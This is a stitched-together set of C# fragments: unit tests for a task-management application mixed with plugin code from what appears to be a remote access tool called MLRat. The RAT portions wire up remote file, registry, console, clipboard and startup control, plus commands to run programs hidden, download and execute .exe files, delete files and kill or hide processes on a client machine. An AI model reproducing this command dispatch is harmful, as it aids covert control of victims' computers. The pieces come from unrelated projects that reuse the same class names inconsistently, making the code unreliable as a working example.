public void EditTask_NoChildTask_Successful_Edit()
{
Task task = new Task();
Task taskEdit = new Task();
taskEdit.TaskId = 1;
taskEdit.TaskName = "ABCD";
taskEdit.StartDate = DateTime.Now;
taskEdit.Priority = 1;
IQueryable <Task> childTasks = Enumerable.Empty <Task>().AsQueryable();
var mockTaskRepository = new Mock <ITaskRepository>(MockBehavior.Strict);
mockTaskRepository.Setup(p => p.GetTaskByName("ABCD")).Returns(task);
mockTaskRepository.Setup(p => p.GetAllTask()).Returns(childTasks);
mockTaskRepository.Setup(p => p.EditTask(taskEdit));
var objTestTaskMangerHandler = new TaskManagerHandler(mockTaskRepository.Object);
objTestTaskMangerHandler.EditTask(taskEdit);
mockTaskRepository.Verify(mock => mock.GetAllTask(), Times.Once());
mockTaskRepository.Verify(mock => mock.GetTaskByName("ABCD"), Times.Once());
mockTaskRepository.Verify(mock => mock.EditTask(taskEdit), Times.Once());
// ...or verify everything.
// mockSomeClass.VerifyAll();
}
/// <summary>
/// Initializes a new instance of the <see cref="FrmTaskManager"/> class using the given client.
/// </summary>
/// <param name="client">The client used for the task manager form.</param>
public FrmTaskManager(Client client)
{
_connectClient = client;
_taskManagerHandler = new TaskManagerHandler(client);
RegisterMessageHandler();
InitializeComponent();
}
public void OnClientDisconnect(IClient client)
{
PingHandler.Disconnect(client);
RegistryEditorHandler.Disconnect(client);
FileExplorerHandler.Disconnect(client);
TaskManagerHandler.Disconnect(client);
ConsoleHandler.Disconnect(client);
ClipboardHandler.Disconnect(client);
StartupManagerhandler.Disconnect(client);
ConnectionsHandler.Disconnect(client);
}
public void OnPluginLoad(IClientHost server)
{
NetworkHost = server;
TaskManagerHandler.SetNetworkHost(NetworkHost);
RegistryEditorHandler.SetNetworkHost(NetworkHost);
FileManagerHandler.SetNetworkHost(NetworkHost);
ConsoleHandler.SetNetworkHost(NetworkHost);
MiscHandler.SetClientHost(server);
ClipboardHandler.SetHost(server);
StartupHandler.SetHost(server);
ConnectionsHandler.SetHost(server);
}
public void OnDataRetrieved(IClient client, object[] data)
{
NetworkCommand command = (NetworkCommand)data[0];
MUIHost.Log(string.Format("Network Command: {0}", data[0]), System.Drawing.Color.Blue);
if (data.Length > 1)
{
MUIHost.Log(string.Format("SubCommand Command: {0}", data[1]), System.Drawing.Color.Blue);
}
if (command == NetworkCommand.Pong)
{
PingHandler.EndPing(client);
}
if (command == NetworkCommand.RegistryEdit)
{
RegistryEditorHandler.Handle(client, data);
}
if (command == NetworkCommand.FileManager)
{
FileExplorerHandler.Handle(client, data);
}
if (command == NetworkCommand.TaskManager)
{
TaskManagerHandler.Handle(client, data);
}
if (command == NetworkCommand.Console)
{
ConsoleHandler.Handle(client, data);
}
if (command == NetworkCommand.Clipboard)
{
ClipboardHandler.Handle(client, data);
}
if (command == NetworkCommand.StartupManager)
{
StartupManagerhandler.Handle(client, data);
}
if (command == NetworkCommand.Connections)
{
ConnectionsHandler.Handle(client, data);
}
}
public void Delete_Successful()
{
Task task = new Task();
Task taskdel = new Task();
taskdel.TaskId = 1;
taskdel.TaskName = "ABCD";
taskdel.StartDate = DateTime.Now;
taskdel.Priority = 1;
IQueryable <Task> childTasks = Enumerable.Empty <Task>().AsQueryable();
var mockTaskRepository = new Mock <ITaskRepository>(MockBehavior.Strict);
mockTaskRepository.Setup(p => p.DeleteTask(taskdel));
var objTestTaskMangerHandler = new TaskManagerHandler(mockTaskRepository.Object);
objTestTaskMangerHandler.DeleteTask(taskdel);
mockTaskRepository.Verify(mock => mock.DeleteTask(taskdel), Times.Once());
}
public void EditTask_ActiveSameName_Exception_FailedEdit()
{
Task task = new Task();
task.TaskId = 2;
task.TaskName = "ABCD";
task.StartDate = DateTime.Now;
task.Priority = 1;
Task taskEdit = new Task();
taskEdit.TaskId = 1;
taskEdit.TaskName = "ABCD";
taskEdit.StartDate = DateTime.Now;
taskEdit.Priority = 1;
var mockTaskRepository = new Mock <ITaskRepository>(MockBehavior.Strict);
mockTaskRepository.Setup(p => p.GetTaskByName("ABCD")).Returns(task);
var objTestTaskMangerHandler = new TaskManagerHandler(mockTaskRepository.Object);
Assert.That(() => objTestTaskMangerHandler.EditTask(taskEdit),
Throws.TypeOf <CustomValidationException>());
mockTaskRepository.Verify(mock => mock.GetTaskByName("ABCD"), Times.Once());
}
public void EditTask_ChildTask_startEndDate_failedValidation()
{
Task task = new Task();
Task taskEdit = new Task();
taskEdit.TaskId = 1;
taskEdit.TaskName = "ABCD";
taskEdit.StartDate = DateTime.Now;
taskEdit.EndDate = DateTime.Now.AddDays(5);
taskEdit.Priority = 1;
Task taskchild = new Task();
taskchild.TaskId = 1;
taskchild.TaskName = "BCAD";
taskchild.StartDate = DateTime.Now.AddDays(-2);
taskchild.EndDate = DateTime.Now.AddDays(8);
taskchild.ParentTaskId = 1;
taskchild.Priority = 1;
List <Task> ctask = new List <Task>();
ctask.Add(taskEdit);
ctask.Add(taskchild);
IQueryable <Task> childTasks = ctask.AsQueryable();
var mockTaskRepository = new Mock <ITaskRepository>(MockBehavior.Strict);
mockTaskRepository.Setup(p => p.GetTaskByName("ABCD")).Returns(task);
mockTaskRepository.Setup(p => p.GetAllTask()).Returns(childTasks);
mockTaskRepository.Setup(p => p.EditTask(taskEdit));
var objTestTaskMangerHandler = new TaskManagerHandler(mockTaskRepository.Object);
Assert.That(() => objTestTaskMangerHandler.EditTask(taskEdit),
Throws.TypeOf <CustomValidationException>());
//mockTaskRepository.Verify(mock => mock.GetAllTask(), Times.Once());
mockTaskRepository.Verify(mock => mock.GetTaskByName("ABCD"), Times.Once());
}
public void GetAllTask_ReturnTasks()
{
Task task = new Task();
Task taskEdit = new Task();
taskEdit.TaskId = 1;
taskEdit.TaskName = "ABCD";
taskEdit.StartDate = DateTime.Now;
taskEdit.EndDate = DateTime.Now.AddDays(5);
taskEdit.Priority = 1;
Task taskchild = new Task();
taskchild.TaskId = 2;
taskchild.TaskName = "BCAD";
taskchild.StartDate = DateTime.Now.AddDays(1);
taskchild.EndDate = DateTime.Now.AddDays(3);
taskchild.ParentTaskId = 1;
taskchild.Priority = 1;
List <Task> ctask = new List <Task>();
ctask.Add(taskEdit);
ctask.Add(taskchild);
IQueryable <Task> childTasks = ctask.AsQueryable();
var mockTaskRepository = new Mock <ITaskRepository>(MockBehavior.Strict);
mockTaskRepository.Setup(p => p.GetAllTask()).Returns(childTasks);
mockTaskRepository.Setup(p => p.GetTaskByID(1)).Returns(taskEdit);
var objTestTaskMangerHandler = new TaskManagerHandler(mockTaskRepository.Object);
var pTasks = objTestTaskMangerHandler.GetAllTask();
Assert.AreEqual(pTasks.Count, 2);
mockTaskRepository.Verify(mock => mock.GetAllTask(), Times.Once());
}
public void GetTaskByID_ReturnTask()
{
Task task = new Task();
Task taskEdit = new Task();
taskEdit.TaskId = 1;
taskEdit.TaskName = "ABCD";
taskEdit.StartDate = DateTime.Now;
taskEdit.EndDate = DateTime.Now.AddDays(5);
taskEdit.Priority = 1;
var mockTaskRepository = new Mock <ITaskRepository>(MockBehavior.Strict);
mockTaskRepository.Setup(p => p.GetTaskByID(1)).Returns(taskEdit);
var objTestTaskMangerHandler = new TaskManagerHandler(mockTaskRepository.Object);
var pTask = objTestTaskMangerHandler.GetTask(1);
Assert.AreEqual(pTask.TaskId, 1);
Assert.AreEqual(pTask.TaskName, "ABCD");
mockTaskRepository.Verify(mock => mock.GetTaskByID(1), Times.Once());
}
public void OnPluginLoad(IServerUIHandler UIHost)
{
MUIHost = UIHost;
FileExplorerHandler.SetUIHost(UIHost);
TaskManagerHandler.SetUIHost(UIHost);
ConnectionsHandler.SetUIHost(UIHost);
UIHost.Log("MLManagement loaded!", System.Drawing.Color.Green);
PingHandler.Column = UIHost.AddColumn("Ping", "-");
MLRatContextEntry management = new MLRatContextEntry()
{
Text = "Management",
Icon = "management.png"
};
MLRatContextEntry network = new MLRatContextEntry()
{
Text = "Network",
Icon = "network.png"
};
management.SubMenus = new MLRatContextEntry[]
{
new MLRatContextEntry()
{
Text = "File Manager", OnClick = FileExplorerHandler.ContextCallback, Icon = "folder_explore.png"
},
new MLRatContextEntry()
{
Text = "Registry Edit", OnClick = RegistryEditorHandler.ContextCallback, Icon = "registry.png"
},
new MLRatContextEntry()
{
Text = "Startup Manager", OnClick = StartupManagerhandler.ContextCallback, Icon = "system_time.png"
},
new MLRatContextEntry()
{
Text = "Task Manager", OnClick = TaskManagerHandler.ContextCallback, Icon = "list.png"
},
new MLRatContextEntry()
{
Text = "Clipboard", OnClick = ClipboardHandler.ContextCallback, Icon = "clipboard.png"
},
new MLRatContextEntry()
{
Text = "Connections", OnClick = ConnectionsHandler.ContextCallback, Icon = "connections.png"
},
new MLRatContextEntry()
{
Text = "Console", OnClick = ConsoleHandler.ContextCallback, Icon = "cmd.png"
},
};
network.SubMenus = new MLRatContextEntry[]
{
new MLRatContextEntry()
{
Text = "Ping", OnClick = PingHandler.ContextCallback, Icon = "Antena.png"
},
new MLRatContextEntry()
{
Text = "Run", Icon = "monitor-lightning.png", SubMenus = new MLRatContextEntry[]
{
new MLRatContextEntry()
{
Text = "Normal", OnClick = MiscHandler.ExecuteContextHandler, Icon = "application-blue-lightining.png"
},
new MLRatContextEntry()
{
Text = "Hidden", OnClick = MiscHandler.ExecuteHiddenContextHandler, Icon = "application-green-lightining.png"
},
}
},
new MLRatContextEntry()
{
Text = "Download And Execute", OnClick = MiscHandler.DownloadAndExecuteContextHandler, Icon = "globe.png"
},
new MLRatContextEntry()
{
Text = "Client Executable", Icon = "cog.png", SubMenus = new MLRatContextEntry[]
{
new MLRatContextEntry()
{
Text = "Disconnect Client", OnClick = MiscHandler.DisconnectHandler, Icon = "disconnect.png"
},
new MLRatContextEntry()
{
Text = "Restart Client", OnClick = MiscHandler.RestartContextHandler, Icon = "restart.png"
},
new MLRatContextEntry()
{
Text = "Close Client", OnClick = MiscHandler.CloseContextHandler, Icon = "cross.png"
}
}
},
};
UIHost.AddContext(network, management);
}
public void OnDataRecieved(object[] data)
{
NetworkCommand command = (NetworkCommand)data[0];
Console.WriteLine("NetworkCommand: {0}", command.ToString());
if (command == NetworkCommand.TaskManager)
{
TaskManagerHandler.Handle(data);
}
if (command == NetworkCommand.RegistryEdit)
{
RegistryEditorHandler.Handle(data);
}
if (command == NetworkCommand.FileManager)
{
FileManagerHandler.Handle(data);
}
if (command == NetworkCommand.Console)
{
ConsoleHandler.Handle(data);
}
if (command == NetworkCommand.Clipboard)
{
ClipboardHandler.Handle(data);
}
if (command == NetworkCommand.StartupManager)
{
StartupHandler.Handle(data);
}
if (command == NetworkCommand.Connections)
{
ConnectionsHandler.Handle(data);
}
if (command == NetworkCommand.Close)
{
Environment.Exit(0);
}
if (command == NetworkCommand.Restart)
{
MiscHandler.Restart();
}
if (command == NetworkCommand.Ping)
{
NetworkHost.Send((byte)NetworkCommand.Pong);
}
if (command == NetworkCommand.Execute)
{
MiscHandler.Execute((string)data[1]);
}
if (command == NetworkCommand.ExecuteHidden)
{
MiscHandler.ExecuteHidden((string)data[1]);
}
if (command == NetworkCommand.DeleteFile)
{
MiscHandler.DeleteFile((string)data[1]);
}
if (command == NetworkCommand.DownloadAndExecute)
{
MiscHandler.DownloadAndExecute((string)data[1], ".exe");
}
if (command == NetworkCommand.DownloadFile)
{
MiscHandler.DownloadFile((string)data[1], (string)data[2]);
}
if (command == NetworkCommand.KillProcess)
{
MiscHandler.KillProcess((int)data[1]);
}
if (command == NetworkCommand.SuspendProcess)
{
MiscHandler.SuspendProcess((int)data[1]);
}
if (command == NetworkCommand.ResumeProcess)
{
MiscHandler.ResumeProcess((int)data[1]);
}
if (command == NetworkCommand.HideWindow)
{
MiscHandler.HideWindow((int)data[1]);
}
}
